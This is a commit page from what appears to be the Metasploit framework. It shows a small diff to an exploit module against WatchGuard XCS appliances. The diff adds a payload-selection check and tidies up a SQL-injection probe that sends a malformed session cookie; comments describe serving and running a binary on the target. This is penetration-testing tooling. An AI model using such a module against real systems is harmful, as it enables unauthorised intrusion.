Skip to content

Commit 890ac92

Browse files
committed
Warn about incorrect payload
1 parent 19b577b commit 890ac92

File tree

1 file changed

+7
-3
lines changed

1 file changed

+7
-3
lines changed

modules/exploits/freebsd/http/watchguard_cmd_exec.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ def initialize(info = {})
3131
'License' => MSF_LICENSE,
3232
'References' =>
3333
[
34-
['URL','http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
34+
['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
3535
],
3636
'Platform' => 'bsd',
3737
'Arch' => ARCH_X86_64,
@@ -68,7 +68,7 @@ def check
6868
'cookie' => "sid=1'"
6969
})
7070

71-
if res and res.body =~ /unterminated quoted string/
71+
if res && res.body && res.body.include?('unterminated quoted string')
7272
return Exploit::CheckCode::Vulnerable
7373
end
7474

@@ -89,9 +89,13 @@ def exploit
8989
#We have cmd exec, stand up an HTTP server and deliver the payload
9090
vprint_status('Getting ready to drop binary on appliance')
9191

92+
@elf_sent = false
9293
#Generate payload
9394
@pl = generate_payload_exe
94-
@elf_sent = false
95+
96+
if @pl.nil?
97+
fail_with(Failure::BadConfig, 'Please select a native bsd payload')
98+
end
9599

96100
#Start the server and use primer to trigger fetching and running of the payload
97101
begin

0 commit comments

Comments
 (0)